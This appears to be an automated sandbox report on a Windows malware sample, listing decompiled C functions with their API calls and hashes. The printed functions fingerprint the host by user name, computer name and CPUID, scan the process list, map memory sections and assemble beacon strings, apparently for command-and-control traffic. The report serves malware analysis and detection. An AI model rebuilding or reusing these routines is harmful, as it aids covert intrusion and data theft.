GetClipboardData.USER32(00000000,00000000,00000000,00000000,00000000,04000000,00000000,00000000,00000044,?,00000000), ref: 04A8171B
FindCloseChangeNotification.KERNEL32(00000000,00000001), ref: 04A81733
CloseHandle.KERNEL32(?), ref: 04A81738
GetLastError.KERNEL32(00000001), ref: 04A8173C

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ChangeClipboardDataErrorFindFreeHeapLastNotificationmemcpymemset
String ID:
API String ID: 2297619534-0
Opcode ID: aad4a485187a3d54e3aa111f9018fa1b3a8e07e4e5984d6517d1262ca4718055
Instruction ID: 745e1494c5897a264941b8763251c72fc1172567aeb6485dfdc5be47f00f1c74
Opcode Fuzzy Hash: aad4a485187a3d54e3aa111f9018fa1b3a8e07e4e5984d6517d1262ca4718055
Instruction Fuzzy Hash: C8311BB6900208AFEB11AFA4DD88DAFBBBCEB04254F00446DE546E7150D735AE469B60

Uniqueness

Uniqueness Score: -1.00%

Function 04A86204, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E04A86204(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L04A8B052();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x4a8d27c; // 0xa9a5a8
				_t5 = _t13 + 0x4a8e836; // 0x5528dde
				_t6 = _t13 + 0x4a8e59c; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L04A8ACEA();
				_t17 = CreateFileMappingW(0xffffffff, 0x4a8d2a8, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x04a86204
0x04a8620c
0x04a86210
0x04a86216
0x04a8621b
0x04a86220
0x04a86223
0x04a86226
0x04a8622b
0x04a8622c
0x04a8622f
0x04a86234
0x04a8623b
0x04a86245
0x04a86247
0x04a86248
0x04a8624b
0x04a86267
0x04a8626d
0x04a86271
0x04a862bf
0x04a86273
0x04a86280
0x04a86290
0x04a86298
0x04a862aa
0x04a862ae
0x00000000
0x00000000
0x04a8629a
0x04a8629d
0x04a862a2
0x04a862a4
0x04a862a4
0x04a86282
0x04a86284
0x04a862b0
0x04a862b1
0x04a862b1
0x04a86280
0x04a862c6

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,00000000,?,?,?,?,?,?,04A88F3D,?,?,4D283A53,?,?), ref: 04A86210
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 04A86226
_snwprintf.NTDLL ref: 04A8624B
CreateFileMappingW.KERNELBASE(000000FF,04A8D2A8,00000004,00000000,00001000,?,?,?,?,?,00000000), ref: 04A86267
GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,04A88F3D,?,?,4D283A53,?), ref: 04A86279
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000,?,?,?,?,00000000), ref: 04A86290
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,?,?,?,?,?,04A88F3D,?,?,4D283A53), ref: 04A862B1
GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,04A88F3D,?,?,4D283A53,?), ref: 04A862B9

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: 38351e2351e8aa8c653415b31b32f8d32adae3cfbd2a446d9c97770999863504
Instruction ID: bd3cc94b636fc89c552be2c42e48b6361f3513b44ccf714e53087aadf558415c
Opcode Fuzzy Hash: 38351e2351e8aa8c653415b31b32f8d32adae3cfbd2a446d9c97770999863504
Instruction Fuzzy Hash: EC219372A40204FBE721FFA4DC05F9E77B9EB547A0F204169F615EA1C0EA70A9058B60

Uniqueness

Uniqueness Score: -1.00%

Function 04A85F3A, Relevance: 12.1, APIs: 8, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E04A85F3A(char __eax, signed int* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t63;
				signed int* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				signed int* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x4a8d270; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E04A845FB( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x4a8d278 ^ 0x76f6612d;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x4a8d238, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t63 = _t62;
								 *_t69 =  *_t69 ^ E04A819D0(_v8 + _v8, _t63);
							}
							HeapFree( *0x4a8d238, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x4a8d238, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t63 = _t68;
							_t69[3] = _t69[3] ^ E04A819D0(_v8 + _v8, _t63);
						}
						HeapFree( *0x4a8d238, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *(_t67 + 8) = _t63;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				_t69[1] = _t69[1] ^ _t39;
				return _t39;
			}

0x04a85f3a
0x04a85f42
0x04a85f48
0x04a85f4b
0x04a85f4e
0x04a85f50
0x04a85f55
0x04a85f55
0x04a85f5b
0x04a85f5d
0x04a85f6a
0x04a85fcb
0x04a85f6c
0x04a85f71
0x04a85f77
0x04a85f7c
0x04a85f8a
0x04a85f8e
0x04a85f9d
0x04a85fa4
0x04a85fab
0x04a85fab
0x04a85fb6
0x04a85fb6
0x04a85f8e
0x04a85f7c
0x04a85fcd
0x04a85fd3
0x04a85fdd
0x04a85fdf
0x04a85fe4
0x04a85ff3
0x04a85ff7
0x04a86002
0x04a86009
0x04a86010
0x04a86010
0x04a8601c
0x04a8601c
0x04a85ff7
0x04a86025
0x04a86027
0x04a8602a
0x04a8602c
0x04a8602f
0x04a86032
0x04a8603c
0x04a86040
0x04a86044

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 04A85F71
RtlAllocateHeap.NTDLL(00000000,?), ref: 04A85F88
GetUserNameW.ADVAPI32(00000000,?), ref: 04A85F95
HeapFree.KERNEL32(00000000,00000000), ref: 04A85FB6
GetComputerNameW.KERNEL32(00000000,00000000), ref: 04A85FDD
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 04A85FF1
GetComputerNameW.KERNEL32(00000000,00000000), ref: 04A85FFE
HeapFree.KERNEL32(00000000,00000000), ref: 04A8601C

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: 2336b87e4ac557c04d74a7bf9aa180230a84ed7b428e879009780910091e29d6
Instruction ID: 1f978de916228d2151df023e1e75befd10d0964acf6ae15a4636341e4ba2fa4d
Opcode Fuzzy Hash: 2336b87e4ac557c04d74a7bf9aa180230a84ed7b428e879009780910091e29d6
Instruction Fuzzy Hash: 31311972A00205EFEB11EFA9D981A6EFBF9EF58254F20446DE445D7290E734EE429B10

Uniqueness

Uniqueness Score: -1.00%

Function 04A89E28, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E04A89E28(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E04A86B2A(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E04A89A1A(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x04a89e35
0x04a89e36
0x04a89e37
0x04a89e38
0x04a89e39
0x04a89e3d
0x04a89e44
0x04a89e53
0x04a89e56
0x04a89e59
0x04a89e60
0x04a89e63
0x04a89e66
0x04a89e69
0x04a89e6c
0x04a89e77
0x04a89e79
0x04a89e82
0x04a89e8a
0x04a89e8c
0x04a89e9e
0x04a89ea8
0x04a89eac
0x04a89ebb
0x04a89ebf
0x04a89ec8
0x04a89ed0
0x04a89ed0
0x04a89ed2
0x04a89ed2
0x04a89eda
0x04a89ee0
0x04a89ee4
0x04a89ee4
0x04a89eef

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 04A89E6F
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 04A89E82
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 04A89E9E

Part of subcall function 04A86B2A: RtlAllocateHeap.NTDLL(00000000,-00000008,04A85B64), ref: 04A86B36

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 04A89EBB
memcpy.NTDLL(?,00000000,0000001C), ref: 04A89EC8
NtClose.NTDLL(?), ref: 04A89EDA
NtClose.NTDLL(00000000), ref: 04A89EE4

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: b766883206b4f331a4ef3169a440a8dbf10099c274269afd602f1d9d8d218e7f
Instruction ID: 941b94ff4f633f8ebfc20332f0c7b8059e889f71fa18c1ad4e523df4e1c31b89
Opcode Fuzzy Hash: b766883206b4f331a4ef3169a440a8dbf10099c274269afd602f1d9d8d218e7f
Instruction Fuzzy Hash: FD2116B2900218BFDB01EF95DD859EFBFBDEF18B50F10402AFA05A6110D7719A419FA0

Uniqueness

Uniqueness Score: -1.00%

Function 04A8A648, Relevance: 6.0, APIs: 4, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E04A8A648() {
				char _v264;
				void* _v300;
				void* _t5;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t5 = CreateToolhelp32Snapshot(2, 0); // executed
				_t17 = _t5;
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x4a8d27c; // 0xa9a5a8
						_t2 = _t9 + 0x4a8ee38; // 0x73617661
						_push( &_v264);
						if( *0x4a8d0fc() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						FindCloseChangeNotification(_t17); // executed
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x04a8a653
0x04a8a658
0x04a8a65d
0x04a8a661
0x04a8a66b
0x04a8a69c
0x04a8a672
0x04a8a677
0x04a8a684
0x04a8a68d
0x04a8a6a4
0x04a8a68f
0x04a8a697
0x00000000
0x04a8a697
0x04a8a6a5
0x04a8a6a6
0x00000000
0x04a8a6a6
0x00000000
0x04a8a6a0
0x04a8a6ac
0x04a8a6b1

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04A8A658
Process32First.KERNEL32(00000000,?), ref: 04A8A66B
Process32Next.KERNEL32(00000000,?), ref: 04A8A697
FindCloseChangeNotification.KERNEL32(00000000), ref: 04A8A6A6

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32
String ID:
API String ID: 3243318325-0
Opcode ID: e109894ac2c36f61b014105e282275b3988560a64d2dd21924f287475e53d98b
Instruction ID: 15bdc19341a915e7cb14d687c120cb3ce8a38879e09c8a182b7c86db8c0bc669
Opcode Fuzzy Hash: e109894ac2c36f61b014105e282275b3988560a64d2dd21924f287475e53d98b
Instruction Fuzzy Hash: B5F0B472601124AAF720BB769C48EEB37BCDBC5314F00017EF956D2144FA24FD4786A5

Uniqueness

Uniqueness Score: -1.00%

Function 04A84093, Relevance: 3.1, APIs: 2, Instructions: 70
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E04A84093(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E04A864BF(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}

0x04a8409c
0x04a840a3
0x04a840a4
0x04a840a5
0x04a840a6
0x04a840a7
0x04a840b8
0x04a840bc
0x04a840d0
0x04a840d3
0x04a840d6
0x04a840dd
0x04a840e0
0x04a840e7
0x04a840ea
0x04a840ed
0x04a840f0
0x04a840f5
0x04a84130
0x04a840f7
0x04a840fa
0x04a84100
0x04a84105
0x04a84109
0x04a84127
0x04a8410b
0x04a84112
0x04a84120
0x04a84120
0x04a84109
0x04a84138

APIs

NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,76D24EE0,00000000,00000000,04A89437), ref: 04A840F0

Part of subcall function 04A864BF: NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,04A84105,00000002,00000000,?,?,00000000,?,?,04A84105,00000000), ref: 04A864EC

memset.NTDLL ref: 04A84112

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: Section$CreateViewmemset
String ID:
API String ID: 2533685722-0
Opcode ID: bf69129d4e39d1550b4539a47dbb971a534dcec4cde57d04ceddaf42e6bffaf5
Instruction ID: 7a0a34b9d6b27e47a11cdcb6635eaa88c0416e6d00e5ae882c921ab773e77fb3
Opcode Fuzzy Hash: bf69129d4e39d1550b4539a47dbb971a534dcec4cde57d04ceddaf42e6bffaf5
Instruction Fuzzy Hash: DD211DB5D00219AFDB11EFA9C8849DEFBF9EF48354F108429E605F3210E734AA448B64

Uniqueness

Uniqueness Score: -1.00%

Function 04A864BF, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E04A864BF(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}

0x04a864d1
0x04a864d7
0x04a864e5
0x04a864ec
0x04a864f1
0x04a864f7
0x00000000
0x04a864f8
0x00000000

APIs

NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,04A84105,00000002,00000000,?,?,00000000,?,?,04A84105,00000000), ref: 04A864EC

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction ID: 285c58fae3de281fbd0f6541068dc9132abbd47e90b22959beb44a834e5c948a
Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction Fuzzy Hash: 1FF037B590420CFFEB119FA5CD85C9FBBBDEB48354B104D39F552E1090D630AE089B60

Uniqueness

Uniqueness Score: -1.00%

Function 04A81000, Relevance: 33.2, APIs: 22, Instructions: 248
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E04A81000(long __eax, void* __ecx, void* __edx, intOrPtr _a4, char** _a8, int* _a12, void* _a16) {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __edi;
				long _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				intOrPtr _t65;
				void* _t68;
				intOrPtr _t69;
				int _t72;
				void* _t73;
				void* _t74;
				void* _t76;
				void* _t79;
				intOrPtr _t83;
				intOrPtr _t87;
				intOrPtr* _t89;
				intOrPtr _t95;
				void* _t97;
				intOrPtr _t104;
				signed int _t108;
				char** _t110;
				int _t113;
				signed int _t115;
				intOrPtr* _t116;
				intOrPtr* _t118;
				intOrPtr* _t120;
				intOrPtr* _t122;
				intOrPtr _t125;
				intOrPtr _t130;
				int _t134;
				CHAR* _t136;
				intOrPtr _t137;
				void* _t138;
				void* _t147;
				int _t148;
				void* _t149;
				intOrPtr _t150;
				void* _t152;
				long _t156;
				intOrPtr* _t157;
				intOrPtr* _t158;
				intOrPtr* _t161;
				void* _t162;
				void* _t164;

				_t147 = __edx;
				_t138 = __ecx;
				_t60 = __eax;
				_v12 = 8;
				if(__eax == 0) {
					_t60 = GetTickCount();
				}
				_t61 =  *0x4a8d018; // 0x5a7656d8
				asm("bswap eax");
				_t62 =  *0x4a8d014; // 0x3a87c8cd
				_t136 = _a16;
				asm("bswap eax");
				_t63 =  *0x4a8d010; // 0xd8d2f808
				asm("bswap eax");
				_t64 =  *0x4a8d00c; // 0x62819102
				asm("bswap eax");
				_t65 =  *0x4a8d27c; // 0xa9a5a8
				_t3 = _t65 + 0x4a8e633; // 0x74666f73
				_t148 = wsprintfA(_t136, _t3, 3, 0x3d136, _t64, _t63, _t62, _t61,  *0x4a8d02c,  *0x4a8d004, _t60);
				_t68 = E04A8A034();
				_t69 =  *0x4a8d27c; // 0xa9a5a8
				_t4 = _t69 + 0x4a8e673; // 0x74707526
				_t72 = wsprintfA(_t148 + _t136, _t4, _t68);
				_t164 = _t162 + 0x38;
				_t149 = _t148 + _t72; // executed
				_t73 = E04A85A69(_t138); // executed
				_t137 = __imp__;
				_v8 = _t73;
				if(_t73 != 0) {
					_t130 =  *0x4a8d27c; // 0xa9a5a8
					_t7 = _t130 + 0x4a8e8cb; // 0x736e6426
					_t134 = wsprintfA(_a16 + _t149, _t7, _t73);
					_t164 = _t164 + 0xc;
					_t149 = _t149 + _t134;
					HeapFree( *0x4a8d238, 0, _v8);
				}
				_t74 = E04A8A3AA();
				_v8 = _t74;
				if(_t74 != 0) {
					_t125 =  *0x4a8d27c; // 0xa9a5a8
					_t11 = _t125 + 0x4a8e8d3; // 0x6f687726
					wsprintfA(_t149 + _a16, _t11, _t74);
					_t164 = _t164 + 0xc;
					RtlFreeHeap( *0x4a8d238, 0, _v8);
				}
				_t150 =  *0x4a8d324; // 0x55295b0
				_t76 = E04A8691F(0x4a8d00a, _t150 + 4);
				_t156 = 0;
				_v20 = _t76;
				if(_t76 == 0) {
					L26:
					RtlFreeHeap( *0x4a8d238, _t156, _a16); // executed
					return _v12;
				} else {
					_t79 = RtlAllocateHeap( *0x4a8d238, 0, 0x800); // executed
					_v8 = _t79;
					if(_t79 == 0) {
						L25:
						HeapFree( *0x4a8d238, _t156, _v20);
						goto L26;
					}
					E04A8838A(GetTickCount());
					_t83 =  *0x4a8d324; // 0x55295b0
					__imp__(_t83 + 0x40);
					asm("lock xadd [eax], ecx");
					_t87 =  *0x4a8d324; // 0x55295b0
					__imp__(_t87 + 0x40);
					_t89 =  *0x4a8d324; // 0x55295b0
					_t152 = E04A89158(1, _t147, _a16,  *_t89);
					_v28 = _t152;
					asm("lock xadd [eax], ecx");
					if(_t152 == 0) {
						L24:
						RtlFreeHeap( *0x4a8d238, _t156, _v8); // executed
						goto L25;
					}
					StrTrimA(_t152, 0x4a8c294);
					_t95 =  *0x4a8d27c; // 0xa9a5a8
					_push(_t152);
					_t18 = _t95 + 0x4a8e252; // 0x616d692f
					_t97 = E04A86B3F(_t18);
					_v16 = _t97;
					if(_t97 == 0) {
						L23:
						HeapFree( *0x4a8d238, _t156, _t152);
						goto L24;
					}
					_t157 = __imp__;
					 *_t157(_t152, _a4);
					 *_t157(_v8, _v20);
					_t158 = __imp__;
					 *_t158(_v8, _v16);
					 *_t158(_v8, _t152);
					_t104 = E04A8843C(0, _v8);
					_a4 = _t104;
					if(_t104 == 0) {
						_v12 = 8;
						L21:
						E04A8848E();
						L22:
						HeapFree( *0x4a8d238, 0, _v16);
						_t156 = 0;
						goto L23;
					}
					_t108 = E04A8A2E7(_t137, 0xffffffffffffffff, _t152,  &_v24); // executed
					_v12 = _t108;
					if(_t108 == 0) {
						_t161 = _v24;
						_t115 = E04A88BDA(_t161, _a4, _a8, _a12); // executed
						_v12 = _t115;
						_t116 =  *((intOrPtr*)(_t161 + 8));
						 *((intOrPtr*)( *_t116 + 0x80))(_t116);
						_t118 =  *((intOrPtr*)(_t161 + 8));
						 *((intOrPtr*)( *_t118 + 8))(_t118);
						_t120 =  *((intOrPtr*)(_t161 + 4));
						 *((intOrPtr*)( *_t120 + 8))(_t120);
						_t122 =  *_t161;
						 *((intOrPtr*)( *_t122 + 8))(_t122);
						E04A89A1A(_t161);
					}
					if(_v12 != 0x10d2) {
						L16:
						if(_v12 == 0) {
							_t110 = _a8;
							if(_t110 != 0) {
								_t153 =  *_t110;
								_t159 =  *_a12;
								wcstombs( *_t110,  *_t110,  *_a12);
								_t113 = E04A89936(_t153, _t153, _t159 >> 1);
								_t152 = _v28;
								 *_a12 = _t113;
							}
						}
						goto L19;
					} else {
						if(_a8 != 0) {
							L19:
							E04A89A1A(_a4);
							if(_v12 == 0 || _v12 == 0x10d2) {
								goto L22;
							} else {
								goto L21;
							}
						}
						_v12 = _v12 & 0x00000000;
						goto L16;
					}
				}
			}

0x04a81000
0x04a81000
0x04a81000
0x04a8100b
0x04a81012
0x04a81014
0x04a81014
0x04a81021
0x04a8102c
0x04a8102f
0x04a81034
0x04a8103d
0x04a81040
0x04a81045
0x04a81048
0x04a8104d
0x04a81050
0x04a8105c
0x04a81069
0x04a8106b
0x04a81071
0x04a81076
0x04a81081
0x04a81083
0x04a81086
0x04a81088
0x04a8108f
0x04a81095
0x04a81098
0x04a8109b
0x04a810a0
0x04a810ad
0x04a810af
0x04a810b5
0x04a810bf
0x04a810bf
0x04a810c1
0x04a810c8
0x04a810cb
0x04a810ce
0x04a810d3
0x04a810e0
0x04a810e2
0x04a810f0
0x04a810f0
0x04a810f2
0x04a81100
0x04a81105
0x04a81109
0x04a8110c
0x04a812db
0x04a812e5
0x04a812ee
0x04a81112
0x04a8111e
0x04a81126
0x04a81129
0x04a812cf
0x04a812d9
0x00000000
0x04a812d9
0x04a81135
0x04a8113a
0x04a81143
0x04a81154
0x04a81158
0x04a81161
0x04a81167
0x04a81176
0x04a8117d
0x04a81186
0x04a8118c
0x04a812c3
0x04a812cd
0x00000000
0x04a812cd
0x04a81198
0x04a8119e
0x04a811a3
0x04a811a4
0x04a811ab
0x04a811b2
0x04a811b5
0x04a812b9
0x04a812c1
0x00000000
0x04a812c1
0x04a811be
0x04a811c5
0x04a811cd
0x04a811d2
0x04a811db
0x04a811e1
0x04a811e8
0x04a811ef
0x04a811f2
0x04a812f1
0x04a812a5
0x04a812a5
0x04a812aa
0x04a812b5
0x04a812b7
0x00000000
0x04a812b7
0x04a811fc
0x04a81203
0x04a81206
0x04a8120b
0x04a81216
0x04a8121b
0x04a8121e
0x04a81224
0x04a8122a
0x04a81230
0x04a81233
0x04a81239
0x04a8123c
0x04a81241
0x04a81245
0x04a81245
0x04a81251
0x04a8125d
0x04a81261
0x04a81263
0x04a81268
0x04a8126a
0x04a8126f
0x04a81274
0x04a81281
0x04a81289
0x04a8128c
0x04a8128c
0x04a81268
0x00000000
0x04a81253
0x04a81257
0x04a8128e
0x04a81291
0x04a8129a
0x00000000
0x00000000
0x00000000
0x00000000
0x04a8129a
0x04a81259
0x00000000
0x04a81259
0x04a81251

APIs

GetTickCount.KERNEL32 ref: 04A81014
wsprintfA.USER32 ref: 04A81064
wsprintfA.USER32 ref: 04A81081
wsprintfA.USER32 ref: 04A810AD
HeapFree.KERNEL32(00000000,?), ref: 04A810BF
wsprintfA.USER32 ref: 04A810E0
RtlFreeHeap.NTDLL(00000000,?), ref: 04A810F0
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04A8111E
GetTickCount.KERNEL32 ref: 04A8112F
RtlEnterCriticalSection.NTDLL(05529570), ref: 04A81143
RtlLeaveCriticalSection.NTDLL(05529570), ref: 04A81161

